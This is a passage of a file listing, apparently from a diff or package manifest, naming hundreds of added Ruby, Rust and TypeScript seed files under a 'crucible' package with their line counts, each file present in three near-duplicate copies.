  441. package/dist/packages/crucible/seeds/ruby/seed-003 2.rb +25 -0
  442. package/dist/packages/crucible/seeds/ruby/seed-003 3.rb +25 -0
  443. package/dist/packages/crucible/seeds/ruby/seed-003.rb +25 -0
  444. package/dist/packages/crucible/seeds/ruby/seed-004 2.rb +17 -0
  445. package/dist/packages/crucible/seeds/ruby/seed-004 3.rb +17 -0
  446. package/dist/packages/crucible/seeds/ruby/seed-004.rb +17 -0
  447. package/dist/packages/crucible/seeds/ruby/seed-005 2.rb +21 -0
  448. package/dist/packages/crucible/seeds/ruby/seed-005 3.rb +21 -0
  449. package/dist/packages/crucible/seeds/ruby/seed-005.rb +21 -0
  450. package/dist/packages/crucible/seeds/ruby/seed-006 2.rb +17 -0
  451. package/dist/packages/crucible/seeds/ruby/seed-006 3.rb +17 -0
  452. package/dist/packages/crucible/seeds/ruby/seed-006.rb +17 -0
  453. package/dist/packages/crucible/seeds/ruby/seed-007 2.rb +16 -0
  454. package/dist/packages/crucible/seeds/ruby/seed-007 3.rb +16 -0
  455. package/dist/packages/crucible/seeds/ruby/seed-007.rb +16 -0
  456. package/dist/packages/crucible/seeds/ruby/seed-008 2.rb +18 -0
  457. package/dist/packages/crucible/seeds/ruby/seed-008 3.rb +18 -0
  458. package/dist/packages/crucible/seeds/ruby/seed-008.rb +18 -0
  459. package/dist/packages/crucible/seeds/ruby/seed-009 2.rb +20 -0
  460. package/dist/packages/crucible/seeds/ruby/seed-009 3.rb +20 -0
  461. package/dist/packages/crucible/seeds/ruby/seed-009.rb +20 -0
  462. package/dist/packages/crucible/seeds/ruby/seed-010 2.rb +24 -0
  463. package/dist/packages/crucible/seeds/ruby/seed-010 3.rb +24 -0
  464. package/dist/packages/crucible/seeds/ruby/seed-010.rb +24 -0
  465. package/dist/packages/crucible/seeds/ruby/seed-011 2.rb +21 -0
  466. package/dist/packages/crucible/seeds/ruby/seed-011 3.rb +21 -0
  467. package/dist/packages/crucible/seeds/ruby/seed-011.rb +21 -0
  468. package/dist/packages/crucible/seeds/ruby/seed-012 2.rb +22 -0
  469. package/dist/packages/crucible/seeds/ruby/seed-012 3.rb +22 -0
  470. package/dist/packages/crucible/seeds/ruby/seed-012.rb +22 -0
  471. package/dist/packages/crucible/seeds/ruby/seed-013 2.rb +21 -0
  472. package/dist/packages/crucible/seeds/ruby/seed-013 3.rb +21 -0
  473. package/dist/packages/crucible/seeds/ruby/seed-013.rb +21 -0
  474. package/dist/packages/crucible/seeds/ruby/seed-014 2.rb +16 -0
  475. package/dist/packages/crucible/seeds/ruby/seed-014 3.rb +16 -0
  476. package/dist/packages/crucible/seeds/ruby/seed-014.rb +16 -0
  477. package/dist/packages/crucible/seeds/ruby/seed-015 2.rb +18 -0
  478. package/dist/packages/crucible/seeds/ruby/seed-015 3.rb +18 -0
  479. package/dist/packages/crucible/seeds/ruby/seed-015.rb +18 -0
  480. package/dist/packages/crucible/seeds/ruby/seed-016 2.rb +17 -0
  481. package/dist/packages/crucible/seeds/ruby/seed-016 3.rb +17 -0
  482. package/dist/packages/crucible/seeds/ruby/seed-016.rb +17 -0
  483. package/dist/packages/crucible/seeds/ruby/seed-017 2.rb +25 -0
  484. package/dist/packages/crucible/seeds/ruby/seed-017 3.rb +25 -0
  485. package/dist/packages/crucible/seeds/ruby/seed-017.rb +25 -0
  486. package/dist/packages/crucible/seeds/ruby/seed-018 2.rb +23 -0
  487. package/dist/packages/crucible/seeds/ruby/seed-018 3.rb +23 -0
  488. package/dist/packages/crucible/seeds/ruby/seed-018.rb +23 -0
  489. package/dist/packages/crucible/seeds/ruby/seed-019 2.rb +20 -0
  490. package/dist/packages/crucible/seeds/ruby/seed-019 3.rb +20 -0
  491. package/dist/packages/crucible/seeds/ruby/seed-019.rb +20 -0
  492. package/dist/packages/crucible/seeds/ruby/seed-020 2.rb +17 -0
  493. package/dist/packages/crucible/seeds/ruby/seed-020 3.rb +17 -0
  494. package/dist/packages/crucible/seeds/ruby/seed-020.rb +17 -0
  495. package/dist/packages/crucible/seeds/ruby/seed-021 2.rb +20 -0
  496. package/dist/packages/crucible/seeds/ruby/seed-021 3.rb +20 -0
  497. package/dist/packages/crucible/seeds/ruby/seed-021.rb +20 -0
  498. package/dist/packages/crucible/seeds/ruby/seed-022 2.rb +21 -0
  499. package/dist/packages/crucible/seeds/ruby/seed-022 3.rb +21 -0
  500. package/dist/packages/crucible/seeds/ruby/seed-022.rb +21 -0
  501. package/dist/packages/crucible/seeds/ruby/seed-023 2.rb +19 -0
  502. package/dist/packages/crucible/seeds/ruby/seed-023 3.rb +19 -0
  503. package/dist/packages/crucible/seeds/ruby/seed-023.rb +19 -0
  504. package/dist/packages/crucible/seeds/ruby/seed-024 2.rb +17 -0
  505. package/dist/packages/crucible/seeds/ruby/seed-024 3.rb +17 -0
  506. package/dist/packages/crucible/seeds/ruby/seed-024.rb +17 -0
  507. package/dist/packages/crucible/seeds/ruby/seed-025 2.rb +17 -0
  508. package/dist/packages/crucible/seeds/ruby/seed-025 3.rb +17 -0
  509. package/dist/packages/crucible/seeds/ruby/seed-025.rb +17 -0
  510. package/dist/packages/crucible/seeds/ruby/seed-026 2.rb +18 -0
  511. package/dist/packages/crucible/seeds/ruby/seed-026 3.rb +18 -0
  512. package/dist/packages/crucible/seeds/ruby/seed-026.rb +18 -0
  513. package/dist/packages/crucible/seeds/ruby/seed-027 2.rb +21 -0
  514. package/dist/packages/crucible/seeds/ruby/seed-027 3.rb +21 -0
  515. package/dist/packages/crucible/seeds/ruby/seed-027.rb +21 -0
  516. package/dist/packages/crucible/seeds/ruby/seed-028 2.rb +22 -0
  517. package/dist/packages/crucible/seeds/ruby/seed-028 3.rb +22 -0
  518. package/dist/packages/crucible/seeds/ruby/seed-028.rb +22 -0
  519. package/dist/packages/crucible/seeds/ruby/seed-029 2.rb +19 -0
  520. package/dist/packages/crucible/seeds/ruby/seed-029 3.rb +19 -0
  521. package/dist/packages/crucible/seeds/ruby/seed-029.rb +19 -0
  522. package/dist/packages/crucible/seeds/ruby/seed-030 2.rb +20 -0
  523. package/dist/packages/crucible/seeds/ruby/seed-030 3.rb +20 -0
  524. package/dist/packages/crucible/seeds/ruby/seed-030.rb +20 -0
  525. package/dist/packages/crucible/seeds/ruby/seed-031 2.rb +17 -0
  526. package/dist/packages/crucible/seeds/ruby/seed-031 3.rb +17 -0
  527. package/dist/packages/crucible/seeds/ruby/seed-031.rb +17 -0
  528. package/dist/packages/crucible/seeds/ruby/seed-032 2.rb +22 -0
  529. package/dist/packages/crucible/seeds/ruby/seed-032 3.rb +22 -0
  530. package/dist/packages/crucible/seeds/ruby/seed-032.rb +22 -0
  531. package/dist/packages/crucible/seeds/ruby/seed-033 2.rb +18 -0
  532. package/dist/packages/crucible/seeds/ruby/seed-033 3.rb +18 -0
  533. package/dist/packages/crucible/seeds/ruby/seed-033.rb +18 -0
  534. package/dist/packages/crucible/seeds/ruby/seed-034 2.rb +19 -0
  535. package/dist/packages/crucible/seeds/ruby/seed-034 3.rb +19 -0
  536. package/dist/packages/crucible/seeds/ruby/seed-034.rb +19 -0
  537. package/dist/packages/crucible/seeds/ruby/seed-035 2.rb +19 -0
  538. package/dist/packages/crucible/seeds/ruby/seed-035 3.rb +19 -0
  539. package/dist/packages/crucible/seeds/ruby/seed-035.rb +19 -0
  540. package/dist/packages/crucible/seeds/ruby/seed-036 2.rb +18 -0
  541. package/dist/packages/crucible/seeds/ruby/seed-036 3.rb +18 -0
  542. package/dist/packages/crucible/seeds/ruby/seed-036.rb +18 -0
  543. package/dist/packages/crucible/seeds/ruby/seed-037 2.rb +21 -0
  544. package/dist/packages/crucible/seeds/ruby/seed-037 3.rb +21 -0
  545. package/dist/packages/crucible/seeds/ruby/seed-037.rb +21 -0
  546. package/dist/packages/crucible/seeds/ruby/seed-038 2.rb +24 -0
  547. package/dist/packages/crucible/seeds/ruby/seed-038 3.rb +24 -0
  548. package/dist/packages/crucible/seeds/ruby/seed-038.rb +24 -0
  549. package/dist/packages/crucible/seeds/ruby/seed-039 2.rb +24 -0
  550. package/dist/packages/crucible/seeds/ruby/seed-039 3.rb +24 -0
  551. package/dist/packages/crucible/seeds/ruby/seed-039.rb +24 -0
  552. package/dist/packages/crucible/seeds/ruby/seed-040 2.rb +22 -0
  553. package/dist/packages/crucible/seeds/ruby/seed-040 3.rb +22 -0
  554. package/dist/packages/crucible/seeds/ruby/seed-040.rb +22 -0
  555. package/dist/packages/crucible/seeds/ruby/seed-041 2.rb +23 -0
  556. package/dist/packages/crucible/seeds/ruby/seed-041 3.rb +23 -0
  557. package/dist/packages/crucible/seeds/ruby/seed-041.rb +23 -0
  558. package/dist/packages/crucible/seeds/ruby/seed-042 2.rb +25 -0
  559. package/dist/packages/crucible/seeds/ruby/seed-042 3.rb +25 -0
  560. package/dist/packages/crucible/seeds/ruby/seed-042.rb +25 -0
  561. package/dist/packages/crucible/seeds/ruby/seed-043 2.rb +23 -0
  562. package/dist/packages/crucible/seeds/ruby/seed-043 3.rb +23 -0
  563. package/dist/packages/crucible/seeds/ruby/seed-043.rb +23 -0
  564. package/dist/packages/crucible/seeds/ruby/seed-044 2.rb +16 -0
  565. package/dist/packages/crucible/seeds/ruby/seed-044 3.rb +16 -0
  566. package/dist/packages/crucible/seeds/ruby/seed-044.rb +16 -0
  567. package/dist/packages/crucible/seeds/ruby/seed-045 2.rb +22 -0
  568. package/dist/packages/crucible/seeds/ruby/seed-045 3.rb +22 -0
  569. package/dist/packages/crucible/seeds/ruby/seed-045.rb +22 -0
  570. package/dist/packages/crucible/seeds/ruby/seed-046 2.rb +27 -0
  571. package/dist/packages/crucible/seeds/ruby/seed-046 3.rb +27 -0
  572. package/dist/packages/crucible/seeds/ruby/seed-046.rb +27 -0
  573. package/dist/packages/crucible/seeds/ruby/seed-047 2.rb +26 -0
  574. package/dist/packages/crucible/seeds/ruby/seed-047 3.rb +26 -0
  575. package/dist/packages/crucible/seeds/ruby/seed-047.rb +26 -0
  576. package/dist/packages/crucible/seeds/ruby/seed-048 2.rb +24 -0
  577. package/dist/packages/crucible/seeds/ruby/seed-048 3.rb +24 -0
  578. package/dist/packages/crucible/seeds/ruby/seed-048.rb +24 -0
  579. package/dist/packages/crucible/seeds/ruby/seed-049 2.rb +20 -0
  580. package/dist/packages/crucible/seeds/ruby/seed-049 3.rb +20 -0
  581. package/dist/packages/crucible/seeds/ruby/seed-049.rb +20 -0
  582. package/dist/packages/crucible/seeds/ruby/seed-050 2.rb +27 -0
  583. package/dist/packages/crucible/seeds/ruby/seed-050 3.rb +27 -0
  584. package/dist/packages/crucible/seeds/ruby/seed-050.rb +27 -0
  585. package/dist/packages/crucible/seeds/rust/seed-001 2.rs +25 -0
  586. package/dist/packages/crucible/seeds/rust/seed-001 3.rs +25 -0
  587. package/dist/packages/crucible/seeds/rust/seed-001.rs +25 -0
  588. package/dist/packages/crucible/seeds/rust/seed-002 2.rs +20 -0
  589. package/dist/packages/crucible/seeds/rust/seed-002 3.rs +20 -0
  590. package/dist/packages/crucible/seeds/rust/seed-002.rs +20 -0
  591. package/dist/packages/crucible/seeds/rust/seed-003 2.rs +23 -0
  592. package/dist/packages/crucible/seeds/rust/seed-003 3.rs +23 -0
  593. package/dist/packages/crucible/seeds/rust/seed-003.rs +23 -0
  594. package/dist/packages/crucible/seeds/rust/seed-004 2.rs +21 -0
  595. package/dist/packages/crucible/seeds/rust/seed-004 3.rs +21 -0
  596. package/dist/packages/crucible/seeds/rust/seed-004.rs +21 -0
  597. package/dist/packages/crucible/seeds/rust/seed-005 2.rs +21 -0
  598. package/dist/packages/crucible/seeds/rust/seed-005 3.rs +21 -0
  599. package/dist/packages/crucible/seeds/rust/seed-005.rs +21 -0
  600. package/dist/packages/crucible/seeds/rust/seed-006 2.rs +24 -0
  601. package/dist/packages/crucible/seeds/rust/seed-006 3.rs +24 -0
  602. package/dist/packages/crucible/seeds/rust/seed-006.rs +24 -0
  603. package/dist/packages/crucible/seeds/rust/seed-007 2.rs +20 -0
  604. package/dist/packages/crucible/seeds/rust/seed-007 3.rs +20 -0
  605. package/dist/packages/crucible/seeds/rust/seed-007.rs +20 -0
  606. package/dist/packages/crucible/seeds/rust/seed-008 2.rs +19 -0
  607. package/dist/packages/crucible/seeds/rust/seed-008 3.rs +19 -0
  608. package/dist/packages/crucible/seeds/rust/seed-008.rs +19 -0
  609. package/dist/packages/crucible/seeds/rust/seed-009 2.rs +28 -0
  610. package/dist/packages/crucible/seeds/rust/seed-009 3.rs +28 -0
  611. package/dist/packages/crucible/seeds/rust/seed-009.rs +28 -0
  612. package/dist/packages/crucible/seeds/rust/seed-010 2.rs +28 -0
  613. package/dist/packages/crucible/seeds/rust/seed-010 3.rs +28 -0
  614. package/dist/packages/crucible/seeds/rust/seed-010.rs +28 -0
  615. package/dist/packages/crucible/seeds/rust/seed-011 2.rs +25 -0
  616. package/dist/packages/crucible/seeds/rust/seed-011 3.rs +25 -0
  617. package/dist/packages/crucible/seeds/rust/seed-011.rs +25 -0
  618. package/dist/packages/crucible/seeds/rust/seed-012 2.rs +31 -0
  619. package/dist/packages/crucible/seeds/rust/seed-012 3.rs +31 -0
  620. package/dist/packages/crucible/seeds/rust/seed-012.rs +31 -0
  621. package/dist/packages/crucible/seeds/rust/seed-013 2.rs +27 -0
  622. package/dist/packages/crucible/seeds/rust/seed-013 3.rs +27 -0
  623. package/dist/packages/crucible/seeds/rust/seed-013.rs +27 -0
  624. package/dist/packages/crucible/seeds/rust/seed-014 2.rs +30 -0
  625. package/dist/packages/crucible/seeds/rust/seed-014 3.rs +30 -0
  626. package/dist/packages/crucible/seeds/rust/seed-014.rs +30 -0
  627. package/dist/packages/crucible/seeds/rust/seed-015 2.rs +33 -0
  628. package/dist/packages/crucible/seeds/rust/seed-015 3.rs +33 -0
  629. package/dist/packages/crucible/seeds/rust/seed-015.rs +33 -0
  630. package/dist/packages/crucible/seeds/rust/seed-016 2.rs +22 -0
  631. package/dist/packages/crucible/seeds/rust/seed-016 3.rs +22 -0
  632. package/dist/packages/crucible/seeds/rust/seed-016.rs +22 -0
  633. package/dist/packages/crucible/seeds/rust/seed-017 2.rs +28 -0
  634. package/dist/packages/crucible/seeds/rust/seed-017 3.rs +28 -0
  635. package/dist/packages/crucible/seeds/rust/seed-017.rs +28 -0
  636. package/dist/packages/crucible/seeds/rust/seed-018 2.rs +21 -0
  637. package/dist/packages/crucible/seeds/rust/seed-018 3.rs +21 -0
  638. package/dist/packages/crucible/seeds/rust/seed-018.rs +21 -0
  639. package/dist/packages/crucible/seeds/rust/seed-019 2.rs +36 -0
  640. package/dist/packages/crucible/seeds/rust/seed-019 3.rs +36 -0
  641. package/dist/packages/crucible/seeds/rust/seed-019.rs +36 -0
  642. package/dist/packages/crucible/seeds/rust/seed-020 2.rs +27 -0
  643. package/dist/packages/crucible/seeds/rust/seed-020 3.rs +27 -0
  644. package/dist/packages/crucible/seeds/rust/seed-020.rs +27 -0
  645. package/dist/packages/crucible/seeds/rust/seed-021 2.rs +26 -0
  646. package/dist/packages/crucible/seeds/rust/seed-021 3.rs +26 -0
  647. package/dist/packages/crucible/seeds/rust/seed-021.rs +26 -0
  648. package/dist/packages/crucible/seeds/rust/seed-022 2.rs +23 -0
  649. package/dist/packages/crucible/seeds/rust/seed-022 3.rs +23 -0
  650. package/dist/packages/crucible/seeds/rust/seed-022.rs +23 -0
  651. package/dist/packages/crucible/seeds/rust/seed-023 2.rs +22 -0
  652. package/dist/packages/crucible/seeds/rust/seed-023 3.rs +22 -0
  653. package/dist/packages/crucible/seeds/rust/seed-023.rs +22 -0
  654. package/dist/packages/crucible/seeds/rust/seed-024 2.rs +24 -0
  655. package/dist/packages/crucible/seeds/rust/seed-024 3.rs +24 -0
  656. package/dist/packages/crucible/seeds/rust/seed-024.rs +24 -0
  657. package/dist/packages/crucible/seeds/rust/seed-025 2.rs +29 -0
  658. package/dist/packages/crucible/seeds/rust/seed-025 3.rs +29 -0
  659. package/dist/packages/crucible/seeds/rust/seed-025.rs +29 -0
  660. package/dist/packages/crucible/seeds/rust/seed-026 2.rs +23 -0
  661. package/dist/packages/crucible/seeds/rust/seed-026 3.rs +23 -0
  662. package/dist/packages/crucible/seeds/rust/seed-026.rs +23 -0
  663. package/dist/packages/crucible/seeds/rust/seed-027 2.rs +24 -0
  664. package/dist/packages/crucible/seeds/rust/seed-027 3.rs +24 -0
  665. package/dist/packages/crucible/seeds/rust/seed-027.rs +24 -0
  666. package/dist/packages/crucible/seeds/rust/seed-028 2.rs +25 -0
  667. package/dist/packages/crucible/seeds/rust/seed-028 3.rs +25 -0
  668. package/dist/packages/crucible/seeds/rust/seed-028.rs +25 -0
  669. package/dist/packages/crucible/seeds/rust/seed-029 2.rs +25 -0
  670. package/dist/packages/crucible/seeds/rust/seed-029 3.rs +25 -0
  671. package/dist/packages/crucible/seeds/rust/seed-029.rs +25 -0
  672. package/dist/packages/crucible/seeds/rust/seed-030 2.rs +30 -0
  673. package/dist/packages/crucible/seeds/rust/seed-030 3.rs +30 -0
  674. package/dist/packages/crucible/seeds/rust/seed-030.rs +30 -0
  675. package/dist/packages/crucible/seeds/rust/seed-031 2.rs +22 -0
  676. package/dist/packages/crucible/seeds/rust/seed-031 3.rs +22 -0
  677. package/dist/packages/crucible/seeds/rust/seed-031.rs +22 -0
  678. package/dist/packages/crucible/seeds/rust/seed-032 2.rs +25 -0
  679. package/dist/packages/crucible/seeds/rust/seed-032 3.rs +25 -0
  680. package/dist/packages/crucible/seeds/rust/seed-032.rs +25 -0
  681. package/dist/packages/crucible/seeds/rust/seed-033 2.rs +25 -0
  682. package/dist/packages/crucible/seeds/rust/seed-033 3.rs +25 -0
  683. package/dist/packages/crucible/seeds/rust/seed-033.rs +25 -0
  684. package/dist/packages/crucible/seeds/rust/seed-034 2.rs +20 -0
  685. package/dist/packages/crucible/seeds/rust/seed-034 3.rs +20 -0
  686. package/dist/packages/crucible/seeds/rust/seed-034.rs +20 -0
  687. package/dist/packages/crucible/seeds/rust/seed-035 2.rs +28 -0
  688. package/dist/packages/crucible/seeds/rust/seed-035 3.rs +28 -0
  689. package/dist/packages/crucible/seeds/rust/seed-035.rs +28 -0
  690. package/dist/packages/crucible/seeds/rust/seed-036 2.rs +26 -0
  691. package/dist/packages/crucible/seeds/rust/seed-036 3.rs +26 -0
  692. package/dist/packages/crucible/seeds/rust/seed-036.rs +26 -0
  693. package/dist/packages/crucible/seeds/rust/seed-037 2.rs +31 -0
  694. package/dist/packages/crucible/seeds/rust/seed-037 3.rs +31 -0
  695. package/dist/packages/crucible/seeds/rust/seed-037.rs +31 -0
  696. package/dist/packages/crucible/seeds/rust/seed-038 2.rs +25 -0
  697. package/dist/packages/crucible/seeds/rust/seed-038 3.rs +25 -0
  698. package/dist/packages/crucible/seeds/rust/seed-038.rs +25 -0
  699. package/dist/packages/crucible/seeds/rust/seed-039 2.rs +28 -0
  700. package/dist/packages/crucible/seeds/rust/seed-039 3.rs +28 -0
  701. package/dist/packages/crucible/seeds/rust/seed-039.rs +28 -0
  702. package/dist/packages/crucible/seeds/rust/seed-040 2.rs +27 -0
  703. package/dist/packages/crucible/seeds/rust/seed-040 3.rs +27 -0
  704. package/dist/packages/crucible/seeds/rust/seed-040.rs +27 -0
  705. package/dist/packages/crucible/seeds/rust/seed-041 2.rs +32 -0
  706. package/dist/packages/crucible/seeds/rust/seed-041 3.rs +32 -0
  707. package/dist/packages/crucible/seeds/rust/seed-041.rs +32 -0
  708. package/dist/packages/crucible/seeds/rust/seed-042 2.rs +27 -0
  709. package/dist/packages/crucible/seeds/rust/seed-042 3.rs +27 -0
  710. package/dist/packages/crucible/seeds/rust/seed-042.rs +27 -0
  711. package/dist/packages/crucible/seeds/rust/seed-043 2.rs +29 -0
  712. package/dist/packages/crucible/seeds/rust/seed-043 3.rs +29 -0
  713. package/dist/packages/crucible/seeds/rust/seed-043.rs +29 -0
  714. package/dist/packages/crucible/seeds/rust/seed-044 2.rs +25 -0
  715. package/dist/packages/crucible/seeds/rust/seed-044 3.rs +25 -0
  716. package/dist/packages/crucible/seeds/rust/seed-044.rs +25 -0
  717. package/dist/packages/crucible/seeds/rust/seed-045 2.rs +28 -0
  718. package/dist/packages/crucible/seeds/rust/seed-045 3.rs +28 -0
  719. package/dist/packages/crucible/seeds/rust/seed-045.rs +28 -0
  720. package/dist/packages/crucible/seeds/rust/seed-046 2.rs +25 -0
  721. package/dist/packages/crucible/seeds/rust/seed-046 3.rs +25 -0
  722. package/dist/packages/crucible/seeds/rust/seed-046.rs +25 -0
  723. package/dist/packages/crucible/seeds/rust/seed-047 2.rs +34 -0
  724. package/dist/packages/crucible/seeds/rust/seed-047 3.rs +34 -0
  725. package/dist/packages/crucible/seeds/rust/seed-047.rs +34 -0
  726. package/dist/packages/crucible/seeds/rust/seed-048 2.rs +21 -0
  727. package/dist/packages/crucible/seeds/rust/seed-048 3.rs +21 -0
  728. package/dist/packages/crucible/seeds/rust/seed-048.rs +21 -0
  729. package/dist/packages/crucible/seeds/rust/seed-049 2.rs +26 -0
  730. package/dist/packages/crucible/seeds/rust/seed-049 3.rs +26 -0
  731. package/dist/packages/crucible/seeds/rust/seed-049.rs +26 -0
  732. package/dist/packages/crucible/seeds/rust/seed-050 2.rs +23 -0
  733. package/dist/packages/crucible/seeds/rust/seed-050 3.rs +23 -0
  734. package/dist/packages/crucible/seeds/rust/seed-050.rs +23 -0
  735. package/dist/packages/crucible/seeds/ts/seed-001 2.ts +32 -0
  736. package/dist/packages/crucible/seeds/ts/seed-001 3.ts +32 -0
  737. package/dist/packages/crucible/seeds/ts/seed-001.ts +32 -0
  738. package/dist/packages/crucible/seeds/ts/seed-002 2.ts +34 -0
  739. package/dist/packages/crucible/seeds/ts/seed-002 3.ts +34 -0
  740. package/dist/packages/crucible/seeds/ts/seed-002.ts +34 -0
  741. package/dist/packages/crucible/seeds/ts/seed-003 2.ts +28 -0
  742. package/dist/packages/crucible/seeds/ts/seed-003 3.ts +28 -0
  743. package/dist/packages/crucible/seeds/ts/seed-003.ts +28 -0
  744. package/dist/packages/crucible/seeds/ts/seed-004 2.ts +34 -0
  745. package/dist/packages/crucible/seeds/ts/seed-004 3.ts +34 -0
  746. package/dist/packages/crucible/seeds/ts/seed-004.ts +34 -0
  747. package/dist/packages/crucible/seeds/ts/seed-005 2.ts +32 -0
  748. package/dist/packages/crucible/seeds/ts/seed-005 3.ts +32 -0
  749. package/dist/packages/crucible/seeds/ts/seed-005.ts +32 -0
  750. package/dist/packages/crucible/seeds/ts/seed-006 2.ts +31 -0
  751. package/dist/packages/crucible/seeds/ts/seed-006 3.ts +31 -0
  752. package/dist/packages/crucible/seeds/ts/seed-006.ts +31 -0
  753. package/dist/packages/crucible/seeds/ts/seed-007 2.ts +28 -0
  754. package/dist/packages/crucible/seeds/ts/seed-007 3.ts +28 -0
  755. package/dist/packages/crucible/seeds/ts/seed-007.ts +28 -0
  756. package/dist/packages/crucible/seeds/ts/seed-008 2.ts +40 -0
  757. package/dist/packages/crucible/seeds/ts/seed-008 3.ts +40 -0
  758. package/dist/packages/crucible/seeds/ts/seed-008.ts +40 -0
  759. package/dist/packages/crucible/seeds/ts/seed-009 2.ts +31 -0
  760. package/dist/packages/crucible/seeds/ts/seed-009 3.ts +31 -0
  761. package/dist/packages/crucible/seeds/ts/seed-009.ts +31 -0
  762. package/dist/packages/crucible/seeds/ts/seed-010 2.ts +33 -0
  763. package/dist/packages/crucible/seeds/ts/seed-010 3.ts +33 -0
  764. package/dist/packages/crucible/seeds/ts/seed-010.ts +33 -0
  765. package/dist/packages/crucible/seeds/ts/seed-011 2.ts +29 -0
  766. package/dist/packages/crucible/seeds/ts/seed-011 3.ts +29 -0
  767. package/dist/packages/crucible/seeds/ts/seed-011.ts +29 -0
  768. package/dist/packages/crucible/seeds/ts/seed-012 2.ts +34 -0
  769. package/dist/packages/crucible/seeds/ts/seed-012 3.ts +34 -0
  770. package/dist/packages/crucible/seeds/ts/seed-012.ts +34 -0
  771. package/dist/packages/crucible/seeds/ts/seed-013 2.ts +31 -0
  772. package/dist/packages/crucible/seeds/ts/seed-013 3.ts +31 -0
  773. package/dist/packages/crucible/seeds/ts/seed-013.ts +31 -0
  774. package/dist/packages/crucible/seeds/ts/seed-014 2.ts +36 -0
  775. package/dist/packages/crucible/seeds/ts/seed-014 3.ts +36 -0
  776. package/dist/packages/crucible/seeds/ts/seed-014.ts +36 -0
  777. package/dist/packages/crucible/seeds/ts/seed-015 2.ts +31 -0
  778. package/dist/packages/crucible/seeds/ts/seed-015 3.ts +31 -0
  779. package/dist/packages/crucible/seeds/ts/seed-015.ts +31 -0
  780. package/dist/packages/crucible/seeds/ts/seed-016 2.ts +37 -0
  781. package/dist/packages/crucible/seeds/ts/seed-016 3.ts +37 -0
  782. package/dist/packages/crucible/seeds/ts/seed-016.ts +37 -0
  783. package/dist/packages/crucible/seeds/ts/seed-017 2.ts +44 -0
  784. package/dist/packages/crucible/seeds/ts/seed-017 3.ts +44 -0
  785. package/dist/packages/crucible/seeds/ts/seed-017.ts +44 -0
  786. package/dist/packages/crucible/seeds/ts/seed-018 2.ts +33 -0
  787. package/dist/packages/crucible/seeds/ts/seed-018 3.ts +33 -0
  788. package/dist/packages/crucible/seeds/ts/seed-018.ts +33 -0
  789. package/dist/packages/crucible/seeds/ts/seed-019 2.ts +32 -0
  790. package/dist/packages/crucible/seeds/ts/seed-019 3.ts +32 -0
  791. package/dist/packages/crucible/seeds/ts/seed-019.ts +32 -0
  792. package/dist/packages/crucible/seeds/ts/seed-020 2.ts +33 -0
  793. package/dist/packages/crucible/seeds/ts/seed-020 3.ts +33 -0
  794. package/dist/packages/crucible/seeds/ts/seed-020.ts +33 -0
  795. package/dist/packages/crucible/seeds/ts/seed-021 2.ts +33 -0
  796. package/dist/packages/crucible/seeds/ts/seed-021 3.ts +33 -0
  797. package/dist/packages/crucible/seeds/ts/seed-021.ts +33 -0
  798. package/dist/packages/crucible/seeds/ts/seed-022 2.ts +34 -0
  799. package/dist/packages/crucible/seeds/ts/seed-022 3.ts +34 -0
  800. package/dist/packages/crucible/seeds/ts/seed-022.ts +34 -0
  801. package/dist/packages/crucible/seeds/ts/seed-023 2.ts +33 -0
  802. package/dist/packages/crucible/seeds/ts/seed-023 3.ts +33 -0
  803. package/dist/packages/crucible/seeds/ts/seed-023.ts +33 -0
  804. package/dist/packages/crucible/seeds/ts/seed-024 2.ts +35 -0
  805. package/dist/packages/crucible/seeds/ts/seed-024 3.ts +35 -0
  806. package/dist/packages/crucible/seeds/ts/seed-024.ts +35 -0
  807. package/dist/packages/crucible/seeds/ts/seed-025 2.ts +29 -0
  808. package/dist/packages/crucible/seeds/ts/seed-025 3.ts +29 -0
  809. package/dist/packages/crucible/seeds/ts/seed-025.ts +29 -0
  810. package/dist/packages/crucible/seeds/ts/seed-026 2.ts +36 -0
  811. package/dist/packages/crucible/seeds/ts/seed-026 3.ts +36 -0
  812. package/dist/packages/crucible/seeds/ts/seed-026.ts +36 -0
  813. package/dist/packages/crucible/seeds/ts/seed-027 2.ts +30 -0
  814. package/dist/packages/crucible/seeds/ts/seed-027 3.ts +30 -0
  815. package/dist/packages/crucible/seeds/ts/seed-027.ts +30 -0
  816. package/dist/packages/crucible/seeds/ts/seed-028 2.ts +32 -0
  817. package/dist/packages/crucible/seeds/ts/seed-028 3.ts +32 -0
  818. package/dist/packages/crucible/seeds/ts/seed-028.ts +32 -0
  819. package/dist/packages/crucible/seeds/ts/seed-029 2.ts +34 -0
  820. package/dist/packages/crucible/seeds/ts/seed-029 3.ts +34 -0
  821. package/dist/packages/crucible/seeds/ts/seed-029.ts +34 -0
  822. package/dist/packages/crucible/seeds/ts/seed-030 2.ts +37 -0
  823. package/dist/packages/crucible/seeds/ts/seed-030 3.ts +37 -0
  824. package/dist/packages/crucible/seeds/ts/seed-030.ts +37 -0
  825. package/dist/packages/crucible/seeds/ts/seed-031 2.ts +31 -0
  826. package/dist/packages/crucible/seeds/ts/seed-031 3.ts +31 -0
  827. package/dist/packages/crucible/seeds/ts/seed-031.ts +31 -0
  828. package/dist/packages/crucible/seeds/ts/seed-032 2.ts +32 -0
  829. package/dist/packages/crucible/seeds/ts/seed-032 3.ts +32 -0
  830. package/dist/packages/crucible/seeds/ts/seed-032.ts +32 -0
  831. package/dist/packages/crucible/seeds/ts/seed-033 2.ts +32 -0
  832. package/dist/packages/crucible/seeds/ts/seed-033 3.ts +32 -0
  833. package/dist/packages/crucible/seeds/ts/seed-033.ts +32 -0
  834. package/dist/packages/crucible/seeds/ts/seed-034 2.ts +34 -0
  835. package/dist/packages/crucible/seeds/ts/seed-034 3.ts +34 -0
  836. package/dist/packages/crucible/seeds/ts/seed-034.ts +34 -0
  837. package/dist/packages/crucible/seeds/ts/seed-035 2.ts +29 -0
  838. package/dist/packages/crucible/seeds/ts/seed-035 3.ts +29 -0
  839. package/dist/packages/crucible/seeds/ts/seed-035.ts +29 -0
  840. package/dist/packages/crucible/seeds/ts/seed-036 2.ts +34 -0
  841. package/dist/packages/crucible/seeds/ts/seed-036 3.ts +34 -0
  842. package/dist/packages/crucible/seeds/ts/seed-036.ts +34 -0
  843. package/dist/packages/crucible/seeds/ts/seed-037 2.ts +33 -0
  844. package/dist/packages/crucible/seeds/ts/seed-037 3.ts +33 -0
  845. package/dist/packages/crucible/seeds/ts/seed-037.ts +33 -0
  846. package/dist/packages/crucible/seeds/ts/seed-038 2.ts +29 -0
  847. package/dist/packages/crucible/seeds/ts/seed-038 3.ts +29 -0
  848. package/dist/packages/crucible/seeds/ts/seed-038.ts +29 -0
